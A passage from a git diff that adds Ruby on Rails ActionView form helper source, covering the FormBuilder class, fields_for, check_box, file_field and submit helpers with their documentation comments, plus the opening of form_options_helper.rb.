+      #
+      # === Options
+      # * Accepts same options as time_field_tag
+      #
+      # === Example
+      #   time_field("task", "started_at")
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" />
+      #
+      def time_field(object_name, method, options = {})
+        Tags::TimeField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "datetime".
+      #
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 12)
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
+      #
+      def datetime_field(object_name, method, options = {})
+        Tags::DatetimeField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "datetime-local".
+      #
+      #   datetime_local_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 12)
+      #   datetime_local_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+      #
+      def datetime_local_field(object_name, method, options = {})
+        Tags::DatetimeLocalField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "month".
+      #
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="month" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+      #
+      def month_field(object_name, method, options = {})
+        Tags::MonthField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "week".
+      #
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="week" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-W%W"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 5, 12)
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+      #
+      def week_field(object_name, method, options = {})
+        Tags::WeekField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "url".
+      #
+      #   url_field("user", "homepage")
+      #   # => <input id="user_homepage" name="user[homepage]" type="url" />
+      #
+      def url_field(object_name, method, options = {})
+        Tags::UrlField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "email".
+      #
+      #   email_field("user", "address")
+      #   # => <input id="user_address" name="user[address]" type="email" />
+      #
+      def email_field(object_name, method, options = {})
+        Tags::EmailField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of type "number".
+      #
+      # ==== Options
+      # * Accepts same options as number_field_tag
+      def number_field(object_name, method, options = {})
+        Tags::NumberField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of type "range".
+      #
+      # ==== Options
+      # * Accepts same options as range_field_tag
+      def range_field(object_name, method, options = {})
+        Tags::RangeField.new(object_name, method, self, options).render
+      end
+
+      private
+
+        def instantiate_builder(record_name, record_object, options)
+          case record_name
+          when String, Symbol
+            object = record_object
+            object_name = record_name
+          else
+            object = record_name
+            object_name = model_name_from_record_or_class(object).param_key
+          end
+
+          builder = options[:builder] || default_form_builder
+          builder.new(object_name, object, self, options)
+        end
+
+        def default_form_builder
+          builder = ActionView::Base.default_form_builder
+          builder.respond_to?(:constantize) ? builder.constantize : builder
+        end
+    end
+
+    # A +FormBuilder+ object is associated with a particular model object and
+    # allows you to generate fields associated with the model object. The
+    # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
+    # For example:
+    #
+    #   <%= form_for @person do |person_form| %>
+    #     Name: <%= person_form.text_field :name %>
+    #     Admin: <%= person_form.check_box :admin %>
+    #   <% end %>
+    #
+    # In the above block, the a +FormBuilder+ object is yielded as the
+    # +person_form+ variable. This allows you to generate the +text_field+
+    # and +check_box+ fields by specifying their eponymous methods, which
+    # modify the underlying template and associates the + at person+ model object
+    # with the form.
+    #
+    # The +FormBuilder+ object can be thought of as serving as a proxy for the
+    # methods in the +FormHelper+ module. This class, however, allows you to
+    # call methods with the model object you are building the form for.
+    #
+    # You can create your own custom FormBuilder templates by subclassing this
+    # class. For example:
+    #
+    #   class MyFormBuilder < ActionView::Helpers::FormBuilder
+    #     def div_radio_button(method, tag_value, options = {})
+    #       @template.content_tag(:div,
+    #         @template.radio_button(
+    #           @object_name, method, tag_value, objectify_options(options)
+    #         )
+    #       )
+    #     end
+    #
+    # The above code creates a new method +div_radio_button+ which wraps a div
+    # around the a new radio button. Note that when options are passed in, you
+    # must called +objectify_options+ in order for the model object to get
+    # correctly passed to the method. If +objectify_options+ is not called,
+    # then the newly created helper will not be linked back to the model.
+    #
+    # The +div_radio_button+ code from above can now be used as follows:
+    #
+    #   <%= form_for @person, :builder => MyFormBuilder do |f| %>
+    #     I am a child: <%= f.div_radio_button(:admin, "child") %>
+    #     I am an adult: <%= f.div_radio_button(:admin, "adult") %>
+    #   <% end -%>
+    #
+    # The standard set of helper methods for form building are located in the
+    # +field_helpers+ class attribute.
+    class FormBuilder
+      include ModelNaming
+
+      # The methods which wrap a form helper call.
+      class_attribute :field_helpers
+      self.field_helpers = [:fields_for, :label, :text_field, :password_field,
+                            :hidden_field, :file_field, :text_area, :check_box,
+                            :radio_button, :color_field, :search_field,
+                            :telephone_field, :phone_field, :date_field,
+                            :time_field, :datetime_field, :datetime_local_field,
+                            :month_field, :week_field, :url_field, :email_field,
+                            :number_field, :range_field]
+
+      attr_accessor :object_name, :object, :options
+
+      attr_reader :multipart, :index
+      alias :multipart? :multipart
+
+      def multipart=(multipart)
+        @multipart = multipart
+
+        if parent_builder = @options[:parent_builder]
+          parent_builder.multipart = multipart
+        end
+      end
+
+      def self._to_partial_path
+        @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
+      end
+
+      def to_partial_path
+        self.class._to_partial_path
+      end
+
+      def to_model
+        self
+      end
+
+      def initialize(object_name, object, template, options)
+        @nested_child_index = {}
+        @object_name, @object, @template, @options = object_name, object, template, options
+        @default_options = @options ? @options.slice(:index, :namespace) : {}
+        if @object_name.to_s.match(/\[\]$/)
+          if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
+            @auto_index = object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+        @multipart = nil
+        @index = options[:index] || options[:child_index]
+      end
+
+      (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
+        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+          def #{selector}(method, options = {})  # def text_field(method, options = {})
+            @template.send(                      #   @template.send(
+              #{selector.inspect},               #     "text_field",
+              @object_name,                      #     @object_name,
+              method,                            #     method,
+              objectify_options(options))        #     objectify_options(options))
+          end                                    # end
+        RUBY_EVAL
+      end
+
+      # Creates a scope around a specific model object like form_for, but
+      # doesn't create the form tags themselves. This makes fields_for suitable
+      # for specifying additional model objects in the same form.
+      #
+      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+      # its method signature is slightly different. Like +form_for+, it yields
+      # a FormBuilder object associated with a particular model object to a block,
+      # and within the block allows methods to be called on the builder to
+      # generate fields associated with the model object. Fields may reflect
+      # a model object in two ways - how they are named (hence how submitted
+      # values appear within the +params+ hash in the controller) and what
+      # default values are shown when the form the fields appear in is first
+      # displayed. In order for both of these features to be specified independently,
+      # both an object name (represented by either a symbol or string) and the
+      # object itself can be passed to the method separately -
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     First name: <%= person_form.text_field :first_name %>
+      #     Last name : <%= person_form.text_field :last_name %>
+      #
+      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
+      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #     <% end %>
+      #
+      #     <%= person_form.submit %>
+      #   <% end %>
+      #
+      # In this case, the checkbox field will be represented by an HTML +input+
+      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+      # If <tt>@person.permission</tt> is an existing record with an attribute
+      # +admin+, the initial state of the checkbox when first displayed will
+      # reflect the value of <tt>@person.permission.admin</tt>.
+      #
+      # Often this can be simplified by passing just the name of the model
+      # object to +fields_for+ -
+      #
+      #   <%= fields_for :permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+      # instance variable <tt>@permission</tt>, the initial state of the input
+      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+      #
+      # Alternatively, you can pass just the model object itself (if the first
+      # argument isn't a string or symbol +fields_for+ will realize that the
+      # name has been omitted) -
+      #
+      #   <%= fields_for @person.permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # and +fields_for+ will derive the required name of the field from the
+      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+      #
+      # Note: This also works for the methods in FormOptionHelper and
+      # DateHelper that are designed to work with an object as base, like
+      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Nested Attributes Examples
+      #
+      # When the object belonging to the current scope has a nested attribute
+      # writer for a certain attribute, fields_for will yield a new scope
+      # for that attribute. This allows you to create forms that set or change
+      # the attributes of a parent object and its associations in one go.
+      #
+      # Nested attribute writers are normal setter methods named after an
+      # association. The most common way of defining these writers is either
+      # with +accepts_nested_attributes_for+ in a model definition or by
+      # defining a method with the proper name. For example: the attribute
+      # writer for the association <tt>:address</tt> is called
+      # <tt>address_attributes=</tt>.
+      #
+      # Whether a one-to-one or one-to-many style form builder will be yielded
+      # depends on whether the normal reader method returns a _single_ object
+      # or an _array_ of objects.
+      #
+      # ==== One-to-one
+      #
+      # Consider a Person class which returns a _single_ Address from the
+      # <tt>address</tt> reader method and responds to the
+      # <tt>address_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def address
+      #       @address
+      #     end
+      #
+      #     def address_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for, like so:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       Street  : <%= address_fields.text_field :street %>
+      #       Zip code: <%= address_fields.text_field :zip_code %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When address is already an association on a Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address
+      #   end
+      #
+      # If you want to destroy the associated model through the form, you have
+      # to enable it first using the <tt>:allow_destroy</tt> option for
+      # +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address, allow_destroy: true
+      #   end
+      #
+      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+      # with a value that evaluates to +true+, you will destroy the associated
+      # model (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       ...
+      #       Delete: <%= address_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # ==== One-to-many
+      #
+      # Consider a Person class which returns an _array_ of Project instances
+      # from the <tt>projects</tt> reader method and responds to the
+      # <tt>projects_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def projects
+      #       [@project1, @project2]
+      #     end
+      #
+      #     def projects_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # Note that the <tt>projects_attributes=</tt> writer method is in fact
+      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # collection, and the correct indices to be set in the form markup.
+      #
+      # When projects is already an association on Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects
+      #   end
+      #
+      # This model can now be used with a nested fields_for. The block given to
+      # the nested fields_for call will be repeated for each instance in the
+      # collection:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       <% if project_fields.object.active? %>
+      #         Name: <%= project_fields.text_field :name %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # It's also possible to specify the instance to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <% @person.projects.each do |project| %>
+      #       <% if project.active? %>
+      #         <%= person_form.fields_for :projects, project do |project_fields| %>
+      #           Name: <%= project_fields.text_field :name %>
+      #         <% end %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Or a collection to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+      #       Name: <%= project_fields.text_field :name %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # If you want to destroy any of the associated models through the
+      # form, you have to enable it first using the <tt>:allow_destroy</tt>
+      # option for +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects, allow_destroy: true
+      #   end
+      #
+      # This will allow you to specify which models to destroy in the
+      # attributes hash by adding a form element for the <tt>_destroy</tt>
+      # parameter with a value that evaluates to +true+
+      # (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Delete: <%= project_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When a collection is used you might want to know the index of each
+      # object into the array. For this purpose, the <tt>index</tt> method
+      # is available in the FormBuilder object.
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Project #<%= project_fields.index %>
+      #       ...
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Note that fields_for will automatically generate a hidden field
+      # to store the ID of the record. There are circumstances where this
+      # hidden field is not needed and you can pass <tt>include_id: false</tt>
+      # to prevent fields_for from rendering it automatically.
+      def fields_for(record_name, record_object = nil, fields_options = {}, &block)
+        fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
+        fields_options[:builder] ||= options[:builder]
+        fields_options[:namespace] = options[:namespace]
+        fields_options[:parent_builder] = self
+
+        case record_name
+        when String, Symbol
+          if nested_attributes_association?(record_name)
+            return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
+          end
+        else
+          record_object = record_name.is_a?(Array) ? record_name.last : record_name
+          record_name   = model_name_from_record_or_class(record_object).param_key
+        end
+
+        index = if options.has_key?(:index)
+          options[:index]
+        elsif defined?(@auto_index)
+          self.object_name = @object_name.to_s.sub(/\[\]$/,"")
+          @auto_index
+        end
+
+        record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
+        fields_options[:child_index] = index
+
+        @template.fields_for(record_name, record_object, fields_options, &block)
+      end
+
+      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+      # target labels for radio_button tags (where the value is used in the ID of the input tag).
+      #
+      # ==== Examples
+      #   label(:post, :title)
+      #   # => <label for="post_title">Title</label>
+      #
+      # You can localize your labels based on model and attribute names.
+      # For example you can define the following in your locale (e.g. en.yml)
+      #
+      #   helpers:
+      #     label:
+      #       post:
+      #         body: "Write your entire text here"
+      #
+      # Which then will result in
+      #
+      #   label(:post, :body)
+      #   # => <label for="post_body">Write your entire text here</label>
+      #
+      # Localization can also be based purely on the translation of the attribute-name
+      # (if you are using ActiveRecord):
+      #
+      #   activerecord:
+      #     attributes:
+      #       post:
+      #         cost: "Total cost"
+      #
+      #   label(:post, :cost)
+      #   # => <label for="post_cost">Total cost</label>
+      #
+      #   label(:post, :title, "A short title")
+      #   # => <label for="post_title">A short title</label>
+      #
+      #   label(:post, :title, "A short title", class: "title_label")
+      #   # => <label for="post_title" class="title_label">A short title</label>
+      #
+      #   label(:post, :privacy, "Public Post", value: "public")
+      #   # => <label for="post_privacy_public">Public Post</label>
+      #
+      #   label(:post, :terms) do
+      #     'Accept <a href="/terms">Terms</a>.'.html_safe
+      #   end
+      def label(method, text = nil, options = {}, &block)
+        @template.label(@object_name, method, text, objectify_options(options), &block)
+      end
+
+      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says unchecked check boxes are not successful, and
+      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @invoice.update(params[:invoice])
+      #
+      # wouldn't update the flag.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # the very check box. The hidden field has the same name and its
+      # attributes mimic an unchecked check box.
+      #
+      # This way, the client either sends only the hidden field (representing
+      # the check box is unchecked), or both fields. Since the HTML specification
+      # says key/value pairs have to be sent in the same order they appear in the
+      # form, and parameters extraction gets the last occurrence of any repeated
+      # key in the query string, that works for ordinary forms.
+      #
+      # Unfortunately that workaround does not work when the check box goes
+      # within an array-like parameter, as in
+      #
+      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+      #     <%= form.check_box :paid %>
+      #     ...
+      #   <% end %>
+      #
+      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # the elements of the array. For each item with a checked check box you
+      # get an extra ghost item with only that attribute, assigned to "0".
+      #
+      # In that case it is preferable to either use +check_box_tag+ or to use
+      # hashes instead of arrays.
+      #
+      #   # Let's say that @post.validated? is 1:
+      #   check_box("post", "validated")
+      #   # => <input name="post[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #
+      #   # Let's say that @puppy.gooddog is "no":
+      #   check_box("puppy", "gooddog", {}, "yes", "no")
+      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
+      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+      #
+      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+      #   # => <input name="eula[accepted]" type="hidden" value="no" />
+      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+      end
+
+      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+      # radio button will be checked.
+      #
+      # To force the radio button to be checked pass <tt>checked: true</tt> in the
+      # +options+ hash. You may pass HTML options there as well.
+      #
+      #   # Let's say that @post.category returns "rails":
+      #   radio_button("post", "category", "rails")
+      #   radio_button("post", "category", "java")
+      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #
+      #   radio_button("user", "receive_newsletter", "yes")
+      #   radio_button("user", "receive_newsletter", "no")
+      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+      def radio_button(method, tag_value, options = {})
+        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+      end
+
+      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   hidden_field(:signup, :pass_confirm)
+      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+      #
+      #   hidden_field(:post, :tag_list)
+      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+      #
+      #   hidden_field(:user, :token)
+      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+      #
+      def hidden_field(method, options = {})
+        @emitted_hidden_id = true if method == :id
+        @template.hidden_field(@object_name, method, objectify_options(options))
+      end
+
+      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   file_field(:user, :avatar)
+      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
+      #
+      #   file_field(:post, :image, :multiple => true)
+      #   # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+      #
+      #   file_field(:post, :attached, accept: 'text/html')
+      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #
+      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #
+      #   file_field(:attachment, :file, class: 'file_input')
+      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      def file_field(method, options = {})
+        self.multipart = true
+        @template.file_field(@object_name, method, objectify_options(options))
+      end
+
+      # Add the submit button for the given form. When no value is given, it checks
+      # if the object is a new resource or not to create the proper label:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # In the example above, if @post is a new record, it will use "Create Post" as
+      # submit button label, otherwise, it uses "Update Post".
+      #
+      # Those labels can be customized using I18n, under the helpers.submit key and accept
+      # the %{model} as translation interpolation:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         create: "Create a %{model}"
+      #         update: "Confirm changes to %{model}"
+      #
+      # It also searches for a key specific for the given object:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         post:
+      #           create: "Add %{model}"
+      #
+      def submit(value=nil, options={})
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.submit_tag(value, options)
+      end
+
+      # Add the submit button for the given form. When no value is given, it checks
+      # if the object is a new resource or not to create the proper label:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.button %>
+      #   <% end %>
+      #
+      # In the example above, if @post is a new record, it will use "Create Post" as
+      # button label, otherwise, it uses "Update Post".
+      #
+      # Those labels can be customized using I18n, under the helpers.submit key
+      # (the same as submit helper) and accept the %{model} as translation interpolation:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         create: "Create a %{model}"
+      #         update: "Confirm changes to %{model}"
+      #
+      # It also searches for a key specific for the given object:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         post:
+      #           create: "Add %{model}"
+      #
+      # ==== Examples
+      #   button("Create a post")
+      #   # => <button name='button' type='submit'>Create post</button>
+      #
+      #   button do
+      #     content_tag(:strong, 'Ask me!')
+      #   end
+      #   # => <button name='button' type='submit'>
+      #   #      <strong>Ask me!</strong>
+      #   #    </button>
+      #
+      def button(value = nil, options = {}, &block)
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.button_tag(value, options, &block)
+      end
+
+      def emitted_hidden_id?
+        @emitted_hidden_id ||= nil
+      end
+
+      private
+        def objectify_options(options)
+          @default_options.merge(options.merge(object: @object))
+        end
+
+        def submit_default_value
+          object = convert_to_model(@object)
+          key    = object ? (object.persisted? ? :update : :create) : :submit
+
+          model = if object.class.respond_to?(:model_name)
+            object.class.model_name.human
+          else
+            @object_name.to_s.humanize
+          end
+
+          defaults = []
+          defaults << :"helpers.submit.#{object_name}.#{key}"
+          defaults << :"helpers.submit.#{key}"
+          defaults << "#{key.to_s.humanize} #{model}"
+
+          I18n.t(defaults.shift, model: model, default: defaults)
+        end
+
+        def nested_attributes_association?(association_name)
+          @object.respond_to?("#{association_name}_attributes=")
+        end
+
+        def fields_for_with_nested_attributes(association_name, association, options, block)
+          name = "#{object_name}[#{association_name}_attributes]"
+          association = convert_to_model(association)
+
+          if association.respond_to?(:persisted?)
+            association = [association] if @object.send(association_name).respond_to?(:to_ary)
+          elsif !association.respond_to?(:to_ary)
+            association = @object.send(association_name)
+          end
+
+          if association.respond_to?(:to_ary)
+            explicit_child_index = options[:child_index]
+            output = ActiveSupport::SafeBuffer.new
+            association.each do |child|
+              options[:child_index] = nested_child_index(name) unless explicit_child_index
+              output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+            end
+            output
+          elsif association
+            fields_for_nested_model(name, association, options, block)
+          end
+        end
+
+        def fields_for_nested_model(name, object, fields_options, block)
+          object = convert_to_model(object)
+          emit_hidden_id = object.persisted? && fields_options.fetch(:include_id) {
+            options.fetch(:include_id, true)
+          }
+
+          @template.fields_for(name, object, fields_options) do |f|
+            output = @template.capture(f, &block)
+            output.concat f.hidden_field(:id) if output && emit_hidden_id && !f.emitted_hidden_id?
+            output
+          end
+        end
+
+        def nested_child_index(name)
+          @nested_child_index[name] ||= -1
+          @nested_child_index[name] += 1
+        end
+    end
+  end
+
+  ActiveSupport.on_load(:action_view) do
+    cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
+  end
+end
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
new file mode 100644
index 0000000..48f4294
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -0,0 +1,843 @@
+require 'cgi'
+require 'erb'
+require 'action_view/helpers/form_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/wrap'
+
+module ActionView
+  # = Action View Form Option Helpers
+  module Helpers
+    # Provides a number of methods for turning different kinds of containers into a set of option tags.
+    #
+    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+    #
+    # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+    #
+    #   select("post", "category", Post::CATEGORIES, {include_blank: true})
+    #
+    # could become:
+    #
+    #   <select name="post[category]">
+    #     <option></option>
+    #     <option>joke</option>
+    #     <option>poem</option>
+    #   </select>
+    #
+    # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+    #
+    # Example with @post.person_id => 2:
+    #
+    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+    #
+    # could become:
+    #
+    #   <select name="post[person_id]">
+    #     <option value="">None</option>
+    #     <option value="1">David</option>
+    #     <option value="2" selected="selected">Sam</option>
+    #     <option value="3">Tobias</option>
+    #   </select>
+    #
+    # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+    #
+    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+    #
+    # could become:
+    #
+    #   <select name="post[person_id]">
+    #     <option value="">Select Person</option>
+    #     <option value="1">David</option>
+    #     <option value="2">Sam</option>
+    #     <option value="3">Tobias</option>
+    #   </select>
+    #
+    # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+    # option to be in the +html_options+ parameter.
+    #
+    #   select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+    #
+    # becomes:
+    #
+    #   <select name="album[][genre]" id="album__genre">
+    #     <option value="rap">rap</option>
+    #     <option value="rock">rock</option>
+    #     <option value="country">country</option>
+    #   </select>
+    #
+    # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+    #
